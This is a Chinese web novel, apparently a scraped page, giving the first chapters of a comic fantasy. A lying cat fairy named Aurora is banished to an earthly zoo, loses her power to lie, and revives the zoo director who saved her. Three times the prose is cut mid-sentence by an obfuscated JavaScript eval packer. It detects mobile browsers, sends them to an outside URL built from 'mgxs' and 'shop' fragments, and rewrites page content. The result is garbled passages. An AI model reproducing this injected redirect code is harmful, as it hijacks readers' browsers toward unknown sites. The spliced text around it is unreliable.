《动物园直播:喵仙她真话超甜》 1. 这只猫满嘴谎话 “欧若拉。” “欧若拉...” “欧若拉!!!” 一滴脏兮兮的泥水从男人镶钻的袖口滴落下来,砸在天宫动物局大殿的镶金地板上。 一滴。 两滴。 声音不大。 但大殿太空旷了,每一滴都有回响。 欧若拉粉色的胡须动了动,她闻到了大地的芬芳。 准确说,是天宫蟠桃园门口臭水沟的味道。 “欧若拉!你这只撒谎精!你让本局在心上之人面前社死,这简直罪不可赦!” “局长大人,生气会变丑哦。” 欧若拉弓背,粉色的尾巴毛根根直立,险些折到背上。 她圆圆肥肥的脸上,每一根胡须都向后舒展,喉咙里也发出呼噜呼噜的声响。她打了个哈欠,嘴张到最大时,呼出一声“喵呜”。 局长开始抓头发了。 欧若拉坐在锦毛羽绒席子上,前肢并拢,粉手套一样的爪子抓了一把毯子上的毛,毯子被抓出两道白痕。 她舔舔爪子,抬起慵懒的眼皮,看着这个被叫做局长的男人到处乱走。 他的华服是白蓝相间的,欧若拉记得很清楚,上个月他拿到这件衣服时,得意洋洋地照着镜子看了半天。 现在嘛。 这个男人上半身的泥巴已经结成了块状,硬邦邦地贴在布料上,下半身的泥巴还在滴滴啦啦地往下淌着,在脚边汇成一摊。 真可怜哦。 掉进臭水沟里的这种事情,的确跟约会不太搭。 “欧若拉,你明明知道本局有多重视跟桂魄仙子的约会,本局可是在玫瑰奶露里泡了整整三个时辰!” 他的声音从嗓子眼里爆开,最后一个字破了音。 “桂魄仙子捂着鼻子走掉的那一刻,本局...本局...啊啊啊啊啊啊啊!本局真的想死了!” 泡了三个时辰,然后跌进臭水沟里,还被桂魄仙子看见了。 欧若拉的胡须抖了抖。 她把整个脸蛋儿都埋进锦毛羽绒毯子里,肩膀开始抽搐。 不行,不能笑出声。 笑了就代表是自己干的了。 她缓了缓,抬起脸,努力睁大眼睛,瞳孔也适当地放大,显得无辜了些。 但局长下颌角上正滴滴答答躺着泥水,脸上的泥点子像夜空中的星星一样多。 欧若拉绷不住了。 这声音开始很小,而后越来越大,越来越大,直到整个天宫动物局都被她的笑声填满。 “噗哈哈哈哈哈哈哈哈哈哈哈。” 欧若拉笑得眼睛挤成两条缝。 她睁开,看了一眼局长,又合上。 再睁开,再合上。 她的笑从嗓子眼里往外涌,最后整只猫趴在毯子上,滚来滚去,肚子一抽一抽的。 “我发誓我不是故意笑您的,可是…喵呜,哈哈哈哈哈哈哈。” 局长大人向天花板怒吼一声,连带着脖子上的青筋都跳了两下。 “看看你干的好事!本局受不了了,本局可是三界最爱干净的人啊。” 大殿之外,路过的神仙捏着鼻子:“欧若拉,你又把动物局厕所炸啦?” 欧若拉耳朵朝外面伸:“这次真不是我炸的啊,虽然上次和上上次都是。” “哦,本局又想死了!”局长大人又一次仰天长啸。 “哎呀,局长大人,为了见到桂魄仙子,扭扭捏捏太兴奋,一不小心掉进了臭水沟里,这才是真相嗷。” 欧若拉止住笑声,抬头,圆圆的脑袋更圆了。 她伸爪捋捋胡子,每捋一下,胡子都向前摆动,再向后收拢。 “怎么可以残忍到把过错都推到我这个小可爱的头上呢?我只是在此真相的发布过程中,起到了一丢丢监督作用罢了,免得您坠入爱情的虚无深渊无法自拔从而耽误工作呢。不用谢,不用谢。” “好啊,狡辩,狡辩是吧!” 局长一把抓起欧若拉的后脖颈,揪到自己面前。 他的手指卡在皮毛和肉之间,不松不紧,熟练万分。 欧若拉的四肢瞬间僵了。 不是疼。 是那个位置,后脖颈那块皮,从她出生起就是她的特殊封印。 每次被拎起来,她的身体就不听使唤,像被抽走了骨头。 所以,她只能堪堪作罢,四只粉嫩嫩的小爪子像丢了魂儿一样,放松下来,垂哒哒的,一晃一晃。 她圆圆的眼睛里瞬间就噙满了水汽,泪珠子挂在眼眶上,要掉不掉。 “呜呜呜,大人,我知道错啦,喵呜,我真的知道错啦,我再也不敢了,您放我下来好不好?您长得这么好看,心地一定超级无敌善良,我求求您了。” 天宫动物局局长瞪着欧若拉。 欧若拉能看见局长白眼球里的红血丝。 哦,这是真生气了。 “欧若拉,咱俩之间现在毫无信任可言了。你从诞生开始就满嘴谎话,别的小猫咪出生,都是‘呜呜呜’哭着找奶吃,你倒好,一出生就说自己不是你妈妈亲生的,一句话就把从前的猫仙子气得下不来床。” 欧若拉毛绒绒的脸蛋儿鼓起来,眼神瞟到别处去。 局长的手指收紧了一点儿,欧若拉只能斜眼瞥他。 “后来你长大了点儿,本局看你毛绒绒的,以为你是个知错能改的好孩子,这才把你调到天宫动物局来,没想到你依旧不改初衷。” 欧若拉挂在半空,尾巴尖卷了一下:“您的感觉是对的呀!” “你拉倒吧!三千年前,你谎报月老的红线被你的好朋友死老鼠精啃了,害得天界全体公务员集体加班织补;两千九百九十九年前,你还散布谣言说哮天犬暗恋玉兔,直接导致二郎神和桂魄仙子开战…” 他的声音越说越高,越说越挤,像是长长的锯勾在树干上,最后一个字几乎是从牙缝里挤出来的。 “最最最过分的,当然…还是你多次搅乱我和仙子们的约会!本局这么帅的人,竟然到现在都没有约会成功过!?本局的幸福都被你给毁了!” 欧若拉的脸蛋儿又鼓了一下。 她憋住了,这次她绝对没有笑出声。 但眼角弯了一下。 局长看见了。 “好啊你,你还笑!你给本局惹了五千年的麻烦…五千年啊!本局已经忍了你五千年,本局真的受够你了!” 他狠狠地喘了一口气。 “欧若拉,你这只坏猫,准备好接受天神的惩罚吧。” 他把欧若拉扔回毯子上。 欧若拉落在锦毛羽绒席子上,弹了一下,毛炸了一圈。 局长恶狠狠地瞪了欧若拉一眼。 走了两步,又回头瞪了一眼。 然后,他转身,脏兮兮的袍角扫过石砖,往沐浴间去了。 欧若拉朝局长大人的背影“喵呜”叫了一声,但局长没回头。 他的泥巴脚印从她面前一路延伸到大殿深处,一个挨一个,越来越远。 还摆起架子来了,竟然不理我这只小可爱。 好吧。 喵呜。 不理就不理。 欧若拉跳下毯子,竖起粉色的毛绒绒的大尾巴,一蹦一跳地跑到殿外玩去了。 她先去问她的锦毛鼠朋友阿金讨了瓶玉露,又叼着瓶子纵身跳到嫦娥仙子的桂花树上去。 一想到局长被她气得跺脚却又在千百年来拿她没办法,她就乐得喵喵笑。 “今天天气好晴朗,喵呜,处处好风光~” 她抬起粉嫩的肉垫,用锋利的指甲将瓶盖弹掉。 “咕嘟。” 她吃掉一口。 “通知,通知,天宫动物局在编公务员欧若拉违反天宫第2333条法律之规定,经研究决定:惩罚欧若拉下凡历劫。初次惩罚,从宽处理。此通知书面材料由三界最高指挥官玉皇大帝盖章认证。请天宫各级人员引以为戒!维护天宫社会稳定和治安环境 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17526362|203524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,人人有责!” 包绕着整个三界的天宫明明如此之大,却到处回荡着这段通知。 天宫全体公务员一定是都听见了。 因为他们几乎是在同时放下手头的事情,又几乎是在同时举起双手,狠狠地拍了三掌。 每一个神仙的开心都像是闷了五千年的红花郎,“啵”的一声,开封了。 这通知让大家都很满意吗? 是的。 什么通知?分明是通缉! 欧若拉石化了。 下一秒,她喷出一口玉露。 救命,这次怎么玩儿真的啊...! 如果她被扔下去,那她就再也吃不到天宫的玉露了,那简直堪比不让她说谎了呢。 她打了个激灵,立即摇摇头:“我要跑路,我要留在天宫,我才不要被扔下去。” 可是她才往前面跑了一毫米,或者说根本没来得及跑,就被身后突然出现的某局长揪住了皮毛。 原来局长大人一直站在不远处,抱着胳膊,居高临下,脸上还一副得意洋洋的神情呢。 呵呵,这分明是在幸灾乐祸。 不对,是阴谋得逞! “猫妈妈呀…呜呜。” 欧若拉嘴里含着瓶子,含糊不清,却好想说话,因为她的玉露都撒出来了! 局长把玉露从欧若拉嘴边拿下来,随意向后一扔,正好砸在欧若拉的好朋友锦毛鼠阿金的脑袋上。 但他们俩都没有看见阿金,只听见“吱呦”一叫,装着玉露的瓶子便再也不见了。 “你还想跑?”局长晃晃手里的小猫。 身为可爱小猫咪的欧若拉又被封印住了,小爪子耷拉着,浑身也软趴趴的,委屈极了。 她喉咙里冒出许多呼噜呼噜的声音:“喵呜~局长大人,刚刚那通知是您的障眼法吧?” 欧若拉眨眨圆圆的琥珀色眼睛。 “我才不信可爱的、温柔的、帅气炸裂天地的局长大人会惩罚我这只全世界最尊敬他的、无家可归也无父无母的可怜小猫咪呢,喵呜~” “那都是真的。”局长一脸不屑。 “…喵呜,那我给您当牛做马。” 局长依旧一脸不屑。 “我愿意每天泡泥巴。” 局长还是一脸不屑。 “我发誓再也不说谎话!” “好啊,满足你的愿望。”局长终于开口了。 欧若拉长舒一口气,攥了攥小爪子,拍了拍爪,眼睛里都是亮晶晶的星星:“哇,喵喵喵呜,您真是全世界最友好最善良最帅气最霸气侧漏的局长大...哎,不对呀???” “哼,下去吧你!”局长一脚把她踹了下去。 “我不要啊!” 欧若拉还没来得及炸毛,失重感就吞没了她。 天宫的玉露还有局长那张可恶的帅脸,都在急剧缩小。 耳边最后传来的是天界公务员们震耳欲聋的鼓掌声。 可恶啊,这群小心眼的神仙! 白色的云,白色的云,天宫是没有黑夜的仙境。 灰色的云,黑色的云,黄色的月亮 独属于凡间的热烈浊浪扑满她整个身体。 欧若拉觉得自己越来越重,越来越无力,就像是身体中的什么东西被抽走了似的。 天啊,难道她真的要变成凡间的普通小猫咪了吗! “喵呜!” 话音未落,扑通一声,她摔进一片刺骨的冰冷里。 冷水灌进耳朵、鼻子、嘴巴,身边还有几只小鱼在游泳。 她拼命划水,四只爪子本能地刨动。 等等。 岸边似乎站着一个男人。 “喂,你看什么看,下来帮忙啊!救救我啊!” 不对。 他是凡人!凡人怎么可能听得懂尊贵的小猫仙子的话? 岸边的男人没有帮她,反而在听见她说话之后,向后退了一步。 他听懂了?! 2. 他绝对往后退了! 他绝对往后退了! 冰凉的水灌进欧若拉竖直的耳朵里,冰得整个脑仁都疼。 但欧若拉已经感觉不到了。 她只觉得有一团怒火直冲天灵盖,把脑子里所有水汽都烘干了。 欧若拉大喊:“你听得懂啊!你是人吗?见死不救?” 岸边的男人开口了:“你是猫,猫科动物会游泳。” 音调平静得没有一点儿波澜。 好像是这样的。 欧若拉懵了,猛地呛了一口水,狠狠咳嗽一声,整个身体越来越往下沉。 她的四只爪子使劲扑腾,尾巴在水里炸成了海胆:“咳咳,那那那,我抽筋了!不行嘛!你得救我!” 她听见岸边的男人默默地叹了口气。 男人把他手里的一大团黑色东西放在岸边,跳下来了。 水花溅了欧若拉一脸,欧若拉闭上眼睛,刚要骂人,一只大手正好卡住她的前肢下面,将她托出水面。 这只手好热呀,比冰冷的湖水强多了。 男人抱着她,游到岸上。 月光掠过他的侧脸,清晰的下颌线在黑夜中勾勒出鲜明的轮廓。 他的睫毛长长的,还有点儿卷,睫毛尖端挂着几滴即将结冰的水珠。 欧若拉咳嗽着,回头看他。 局…局长?! “啪!” 一个响亮的巴掌已经呼出去了。 “呲。” 她爪子所到之处飙出三道血柱,男人白皙的侧脸上瞬间出现三道血痕。 欧若拉跳到地上,弓起背,浑身的毛都炸了。由于已被水浸湿,炸起的毛让她看起来像一颗好吃的大榴莲。 “你别过来!”欧若拉的声音又尖又细,“我现在已经不是你的小猫咪啦!” 月光再次洒在这个男人的脸上,欧若拉看清了他脸上的三道血痕,这三道血痕真长,血顺着下颌滴下来,滴滴答答的,落在他的里衣上。 男人抬起手,摸了把自己的脸。 他把手放到眼前,皎洁的月光也洒在他修长的手上。 欧若拉看见这个人的眼神忽然变了一下,多了层她看不懂的意思。 下一秒,他突然仰头,直直倒在地上。 “猫妈妈呀!” 欧若拉被吓了一跳,背弓得更厉害,小爪爪踩在地上,一下一下地抓着地上的雪。 “局长大人你怎么晕倒了?难道是后悔欺负我这只小可怜了,要偷偷接我回去?” 她来回踱步:“可是,你好像被我一掌拍死了,这可怎么办?我可怜的局长大人,您要是死了,我可怎么回去呀?” 她急得很,凑近一看,才终于看清这个人的脸。 她愣住了。 这不是局长。 不过是某些角度让她觉得有点像,可能是下颌线的弧度,可能是端着架子的站姿。 但仔细一看,这两个人是完全不同的。 局长那张脸永远嚣张地端着,像全天下都欠他八百两黄金。 眼前这个嘛… 这个被她一爪就制裁在地的倒霉蛋,此时此刻,脸上只有四个大字:生无可恋。 欧若拉的毛慢慢地塌下去了。 “喵呜,我还以为局长大人良心未泯,原来只是我这只可爱的小猫咪在一厢情愿诶。” 她蹲在他身边,伸头看他:“喂?” 没反应。 她静静地看着这个人。 虽然他想要见死不救,虽然是她喊了之后他才救了她,但他的确跳下来了。 湖水那么刺骨,他竟然就那么跳下来了。 哼,肯定是因为她太可爱啦,所以这个凡夫俗子才救她。 欧若拉说:“你救了我,我欠你一条命。” 这句话轻而易举地就从她喉咙里溜出来了,像她喝了五千年的玉露一般丝滑。 欧若拉的一双妙脆角竖起来,竖得像两条监测到信号的天线。 她刚刚想说的明明不是这个啊! 她明明想说:算你走运,本天神不跟你计较。 她明明只是想轻飘飘地把这件事掀过去,怎么现在说出口的,仿佛欠了这个凡人多大的恩情一样? 但是那些狡辩的想法她一个字都说不出来。 这些话就堵在喉咙里,就跟她吐不出来的毛球一样,想要往外吐,就会立即进入一个不知名的转换器,换算成她从来都不想讲出口的话。 欧若拉在心里默念:我是天宫最尊贵的猫仙子,所有人都很喜欢我,救我是你的福气。 她试着说出口,嘴巴张得圆圆的:“啊,啊,救我是你的福气!” 她又炸成榴莲了。 “我…我…为什么前面的我说不出来呀!”她想了想,说,“我打算扔下你不管啦。” 这句话十分丝滑地跑出来了。 欧若拉僵在原地,被水打湿的粉色尾巴竖成一根竹竿。 她低头,瞧瞧自己的粉色爪子,又扣扣自己的喉咙。 “呕。”和平时一样啊,感觉上没有任何异常。 但是一定有什么东西不一样了。 有人把她身上的珍贵宝藏偷走了,害得她…害得她说不出假话了!!! “再试试。”她喃喃道,“局长大人是全天下最…最…” 她好想说局长是全天下最丑的男人,可是她的声带又被不知名的东西捏住了。 欧若拉泄气了,一屁股坐在地上,粉色的尾巴耷拉在雪地里,扫来扫去。 臭局长。 一定是那一脚! 一定是他要满足她再也不说谎话的“愿望”。 他竟然把她随口胡诌的谎话当真了? 难道他真的让她再也说不了谎了吗? 这跟让她再也吃不到玉露有什么区别? 欧若拉好想骂人。 但骂人的话到了嘴边,变成了一声委屈的“喵呜”。 她蹲回那个男人旁边,发现血已经不流了,只是血痕还在。 “天啊,这可太可怜了,啧啧。” 搭在岸边石头上的那团黑色东西被风吹开一角,露出一张工作牌。 这里几乎没有亮光,但上面的字还是能看得清的。 星羽动物园园长,黎修羽。 这个人原来叫黎修羽。 欧若拉并没有往那边看,她拍了拍黎修羽的脸蛋,黎修羽的脸颊上立即被印上了一个猫咪爪子。 “咦。”欧若拉嫌弃地咂了咂嘴,又抬爪给黎修羽抹了抹。 她试图“毁尸灭迹”,没想到越抹越脏,黎修羽的脸上直接成了黑乎乎的一片。 欧若拉缩回爪子,默默往后退了三步,翘起尾巴,扬了扬头,迈着猫步就要离开。 “喂?咕噜,你不打算管他了吗?”湖里的大锦鲤露出个圆嘴,喘着气说。 欧若拉停住脚步,扭头一看:“是的,我才不管。” 大锦鲤默默退回到黑暗中:“你是不是忘记什么了?咕噜,人家可是你的救命恩人。” “那又怎样?没关系啦,死了就再投胎呀,我的同事们都是这样做的,只是换个服务器而已。你都是鲤鱼精了,还能不知道轮回吗?又不是什么大事儿。”欧若拉甩甩粉色的尾巴。 “我是锦鲤精,锦鲤哦。” 欧若拉洗洗脸蛋儿:“那我是一只身无分文、无家可归的小猫咪,我没有钱给他置办棺材,也没有时间替他收尸哦。” “可是…可是他的确救了你呀。咕噜,你这样扔下他,他心里该多难过呀?他是很好很好的人呢。” 欧若拉说:“喵呜,他都要死啦,感受不到难过的。” 大锦鲤被噎住了,憋了一下:“你…你怎么可以这么没良心!” “谢谢夸奖。”欧若拉转身就走。 走了两步,欧若拉突然停下。 大锦鲤眼睛一亮,往前游了游:“你是不是改变主意啦!” 欧若拉没回答,往湖边走了走,视线在大锦鲤的脑袋上扫来扫去。 大锦鲤被她看得发毛:“…你看什么呀?” 欧若拉歪歪头,嘿嘿一笑:“我忽然想起来,我好像饿了呢。” 大锦鲤愣了:“饿…了?” “对呀!”欧若拉又往前走了一步,“以前听那些下过凡的大神官们说,人间的生鱼片超好吃。虽然在我看来什么好吃的都比不上我在天上的玉露,但看起来这个鬼地方也不像有玉露的样子,所以,呃,可恶。” 欧若拉忽然说不出话了,她明明想说“所以我要把你吃掉”,可话到嘴边,却怎么也说不出来。 尾巴尖扫过鼻子,她打了个大大的喷嚏。 “你,你是不是…” 大锦鲤的脸色变了,如果锦鲤真的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17526363|203524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有脸色的话。 “哇,你怎么长得这么胖呀!” 欧若拉语气天真无邪,其实内心很虚,因为她根本不想吃什么鱼,她只爱她的玉露。 大锦鲤往后一缩:“我…我这是肥美!我可是锦鲤精,我都修炼了五十年了,我是有灵性的,你不可以吃我!吃我…咕噜…吃我是会有报应的!” 欧若拉眨眨大眼睛:“报应?还有什么报应能比我被贬下凡间更大吗?再说了,我说的可是实话,我就是饿了,特别特别饿。” 大锦鲤惨叫一声,立刻往水里钻,边游边呐喊:“鱼妈妈呀!救命啊!有只猫要吃我!” 见水面再次恢复平静,欧若拉立即笑起来,转身向远处走去,迈着优雅的步子。 走了几步,她又回头看那个在湖边一动不动的“尸体”。 “天上的局长是混蛋,凡间的男人是麻烦。世界上终于有比我更惨的动物咯。” 她嘀咕一句,扬起那颗胡茬子都被冻住的高傲的头颅,踩着猫步走了。 欧若拉才远离湖边,就跳上围墙。 没想到人间的雪是这么的滑,她才踩上去,右腿就差点儿掉下来。 欧若拉就跟做贼心虚似的,左右来回摆头看,生怕有人偷看到她的糗事,毕竟对于一只小猫来说,两米的墙都能脚滑,真的是太丢人了! 她忽然想起自己已经很久很久不曾肆意奔跑了,现在在人间,没有天上那些规矩需要遵守,于是她便决定要放开脚步一直一直向前跑。 她沿着墙头一直跑着,沿路经过好多动物的栖息地,但她懒得看他们。 那些动物猛的被惊醒,却并没有看清她,只是觉得忽然一阵凉风经过。 她跑累了,跳下墙头,走到一十字路口,这里十分安静,连下雪的声音都听不见。 她看见路边的指示牌了。 “往前走,是百虎园;往左走,是孔雀楼阁;往右走,是非洲之歌。猫妈妈呀,这破落地儿竟然这么大。哼,再大又有什么用呢?这里完全留得住我这样只会享福不会受苦的小猫咪。我在说什么啊?呕!” 欧若拉一个没忍住,伸出长满尖刺的小舌头“呕”了一下。 这鬼地方… 怎么… 怎么有股…混合了上天入地飞禽走兽粑粑的味道呢? 她到处嗅嗅,发现这样的味道是真实存在的。 难道是刚才跑太快才没闻见吗? 她抛弃了优雅,一个猛扎,将头埋到厚厚的白雪中去,嗷呜一口吞掉雪块,忍不住打了个激灵,整个脑袋便在瞬间都通透了。 “好了,现在该想想怎么离开这个鬼地方了。” 她深吸一口气,端坐在地上,开始念口诀。 这是修仙之猫最基本的腾云驾雾术,她倒着背都能使出来。 但三遍咒语念完,竟然什么都没有发生。 她又试了一遍,依旧什么都没有发生。 欧若拉睁开圆圆滚滚的大眼睛,抬起粉色的沾了雪的爪子,嗅了嗅,陷入沉思。 她不信邪,试了试分身术。 念完之后,低头看自己,她发现自己还是只有四只爪子、一条尾巴和一个头,甚至连一根白毛都没有多余的。 “怎么回事?我的法力呢?我五千年的道行去哪里了呢?” 她又试了试遁地术、驱物术。 结果是,遁地术形成的坑还不如她用爪子轻轻一刨来得大,树上的最后一片落叶缓缓落下,但正常人都知道这应该感谢牛顿发现了万有引力定律。 欧若拉泄气了,再也不端坐着了,她非常颓废地一屁股坐在地上,陷入对整个猫生的大思考中。 她突然一激灵:“嘿嘿,还有我的终极大杀招没用用呢!那个是我没出生时就已经刻在DNA里的法术!我就不信这个法术也被收走了!” 她又端坐起来,清了清嗓子,满怀信心地喃喃道:“万里传音,喵爪一伸,天河虽远,喵语降临!” 她猛然大喊:“天上的一群坏蛋!你们竟然如此惩罚可爱的小猫仙子,我要狠狠地骂你们,尤其是天宫动物局那位天天滚泥巴坑的臭局长,你瞅瞅你那个熊样!干啥啥不行,约会全泡汤!你是全天下最狠心的男人,我诅咒你永远都约会失败!” … “砰!!!” 寂静的天空传来一声巨响,黑夜骤然变成浅粉色。 3. 喵能救他狗命! 欧若拉汗毛直立,瞬间跳到远处。 “这这这这…又怎么了啦!这么快就到达天庭了?你们要下来揍我吗?” 她匍匐在地,抬头看着夜空,尾巴摇来摇去,蓄势待发:“快来吧,到时候我就跪下,求你们把我带回去。” 她眯眼笑起来。 下一秒,无数粉色花瓣伴着雪花从半空中落下,每一朵粉色花瓣都夹杂着一句欧若拉骂人的话,谁接到这片花瓣,谁就能听见这句话。 动物园里传来此起彼伏的尖叫声。 “此情此景,我不禁感慨万分,百年修得此机缘,有神仙来咱家啦!快出来看呀!” “阿弥陀佛,福生无量天尊,真主阿门,神仙大人,咩。” “神仙姐姐是东北人吧!我听见她用东北话骂神仙啦!” “瞅瞅,我老乡,这是我家乡的味道啊,这不得嘎嘎铁!” “本帅哥才不凑这种热闹,哦,我的老天爷呀,是花瓣雨唉!太美了,太符合我的气质了!” 一片粉色花瓣落在欧若拉白色的脑袋上,瞬间,她脑袋上方传来又尖又细的声音:“你瞅瞅你那个熊样,你瞅瞅你那个熊样,你瞅瞅你那个熊样…” 欧若拉彻底无语了,她的传音术也被怪力扭曲了。 “猫在无语的时候真的会脸颊抽搐。”欧若拉无语到胡须上挂着的雪花都抽搐到落下来。 就在这时,欧若拉眼前出现了一双白色靴子。 天底下没有比欧若拉更认识这双鞋子的猫了。 “罪犯欧若拉,我是。” “局长大人!您是局长大人!喵喵喵呜!” 欧若拉抬起毛绒绒的脑袋,粉色的尾巴翘得高高的,又兴奋得折到背上,喉咙里呼噜呼噜的声音骤然发出。 天宫动物局局长站在雪中,雪地里却并没有他的足迹。 他的分身下凡了。 “你倒是挺机灵。那么,你知错了吗?” 欧若拉圆圆的大眼睛一转,脱口而出:“报告!我他娘的一点都不知…啊啊啊啊啊!” 她抱住脑袋,又捂住嘴巴。 “嗯?” “老子不知…啊啊啊啊啊啊!” 怎么肥四!!! 关键时刻怎么能把真话说出来呢!欧若拉!欧若拉!拜托你清醒一点呀,必须骗过局长大人,才能让他把你带回天宫呀。 “哼,你果然不知悔改,枉我还觉得你可怜。” 欧若拉挠挠脑袋,一脸委屈:“喵呜,局长大人,您是不是想接我回家呀?” 局长冷哼:“当然不是。” 欧若拉小脸一垮:“那你来干嘛?别告诉我你是来吃席的,哼,喵呜你还是别来了吧,让我空欢喜一场。” 她又捂住嘴了。 该死的嘴,怎么又把真话吐露出来了? 难道,这一切真的是真的。 欧若拉不可置信地看着局长。 局长用法术狠狠地敲向欧若拉的毛绒脑袋,令欧若拉瘫坐在地上:“罪犯欧若拉,你知道你为什么会被下放到这个动物园吗?” 欧若拉小爪爪抱着脑袋,哭丧着脸:“因为我倒霉。” “更重要的是因为你身上背负着三项惩罚措施,现在只勉强算完成了一项,你猜得到第二项是什么吗?” 欧若拉琥珀色地眼珠子转来转去:“第一项是不能说谎,第二项,啊,我怎么会知道!” “第二项是,你要凭借自己的劳动和智慧将这个动物园的估值升到十万两黄金。天宫每季度都会派人来微服私访,考评这个动物园的实际价值。” “十万两?我怎么不去抢劫呢?” “不,你不准去偷去抢,你要让天宫看到你的管理才能,如此,才有资格返回。要知道,这座动物园可价值千金呀!” 欧若拉眼珠又一转,捋着冻僵了的胡须说:“价值千金?那我直接把动物园送给你好啦!” “欧若拉!你这只小笨猫,本局长说的千金是形容词,形容词你懂嘛?” 欧若拉说:“我可聪明了好不。不就是形容词吗?我可是上过天宫九百年义务教育的学霸猫猫,我当然不知道!” 欧若拉浑身炸毛,喉咙里吐不出想说的话:“我…我知…我不知…我管它什么词呢。你这个总是摔到泥巴坑里的大傻子能不能不要总是动不动就叫人家笨蛋呢?笨蛋就是…就是!我不知道!” 刚说完,她立即捂住嘴巴。 “…你,说我什么?”局长的声音听起来已经颤抖,最后一个字的音调也已经飞到天上。 要死了,要死了! 欧若拉想挽回:“哎呀我不知道错,我还想犯,喵呜,救命啊!” 猫妈妈呀,怎么又把肚子里的真话说出来了! 她急得都快哭了:“喵呜,局长大人,我我我我…我的嘴巴…!” “行了行了,”局长说,“从今往后你再也不能说假话,这可是你自己在天上发的毒誓。念在你给我当了多年小宠物的份儿上,我再饶你这一次。欧若拉,我再警告你一次,完不成任务,你是离不开这座动物园的,你就死了那份逃跑的心吧。对了,你也看到你使用法术的后果了吧,本局长现在非常郑重地告诉你,刚刚那带着语音的花瓣雨只是给你的开胃小菜罢了。从现在这一秒开始,你每使用一次大法术,就要多加一万两黄金惩罚,还会得到一点儿不一样的感觉!” 欧若拉用后爪挠挠脑袋:“喵呜,什么样的法术是大法术?” “这个我自有安排,”局长打了个哈欠,“哦,时候不早了,本局长要撤啦,人家仙桃仙子还在等我吃桃呢。” 欧若拉嘴巴变成圆形,一双妙脆角也变成飞机耳:“啊?为什么不是桂魄仙子了呢?” “你还好意思问!”局长暴躁道,“哦对了,身为天宫中文系博导,我有义务纠正你的发言。笨蛋不是形容词,笨蛋是名词。奇了怪了!我怎么会养出你这样的文盲猫猫?” 局长的分身化成亮晶晶的黄色粉尘。 “走就走吧,还要骂我一句再走!”欧若拉呲牙咧嘴,“喂!第三项惩罚是什么呀!” 所以声音都消失了。 世界真残忍,只有她这只小可怜受罪。 不对… 这世界上貌似还有一个人也在受罪… 欧若拉慢悠悠地走回湖边了。 这是好长的一条人呀!他正穿着单薄的衣服静静地躺在地上,脸上已经没有无奈和懵逼,取而代之的是一种莫名其妙的、让欧若拉看不懂的安详。 她语调像是从冰冷的湖边飘过来的冷风:“这位人类,湖边不允许就地睡觉。” … “睡觉可以,但请不要睡得这么香,好吗?我很嫉妒!喵呜!” … “猫妈妈呀,睡得太香,跟死了有什么区别?这人不会是要死了吧!” 欧若拉跳到黎修羽身上,将一双“妙脆角”贴在黎修羽的胸口。 “好弱的心跳。” 欧若拉瞪大圆圆的黄色眼睛,突然在黎修羽身上跳来跳去,毛也炸了。 “喂喂喂!你可不能死!你死了我怎么办?我不仅得不到黄金,喵呜,还要再也没法出这个动物园了呢!这位人类,请你不要残忍地一死了之,好吗?欧若拉需要你!” 雪已经停了。 黎修羽面如土色,安详的表情似乎从脸上消失了,但他还是没醒。 欧若拉呼出的热气飘忽到天上去。 “好哦!那就让下凡渡劫的小猫仙子欧若拉来拯救你这脆弱的生命吧,喵呜。” 欧若拉摩拳擦掌,一脚踩在黎修羽的喉结上。 果然,下一秒,黎修羽猛地咳嗽一声。 欧若拉在他吸气之际,用两只毛茸茸的粉色小爪子扒开他的嘴,毛茸茸的三瓣儿小嘴贴在这人类柔软的薄唇上,呼出一口仙气。 肉眼可见,黎修羽脸色立即红润了,脸上的伤疤变得浅一些,失温状态下的身体也开始慢慢回温。 欧若拉冰冰凉凉的小爪子呼在他的脸上,眨着眼睛看着眼前这个人类,乐呵呵地笑起来:“嘿嘿,好喜欢恒温动物呀…他的嘴巴好温暖…” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17526364|203524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忍不住,她又将三瓣儿小嘴唇凑过去。 下一刻,又立即弹开,脸色一冷:“哼,我是因为必须要待在这里获取财富,才将你救活的哦。” 她开始思考猫生了。 现在怎么办? 这人醒了之后,会不会记得是我把他抓伤的? 他会不会记仇,气上心头,狠狠地打我呀? 我一定打不过他! 我该怎么解释呢? 该怎样说服他让我留下来呢? 她低头看了看脚下的男人。面色虽然有点儿红润,但整体还是苍白的,浑身不仅湿透了,还冻得邦邦硬。 有了! 她跳到雪地里,来回快速跑了几下儿。 “嘶,喵呜喵呜喵呜,好冷!冻爪爪!”欧若拉弹射起步,又跳到黎修羽胸膛上去。 这破地方太冷了,虽然有仙法护体,理论上应该是不冷的,但她的仙法好像也慢慢地越来越不管用了。 天界的某些领导简直太坏了,怎么能把她的法术给削弱到如此地步呢? 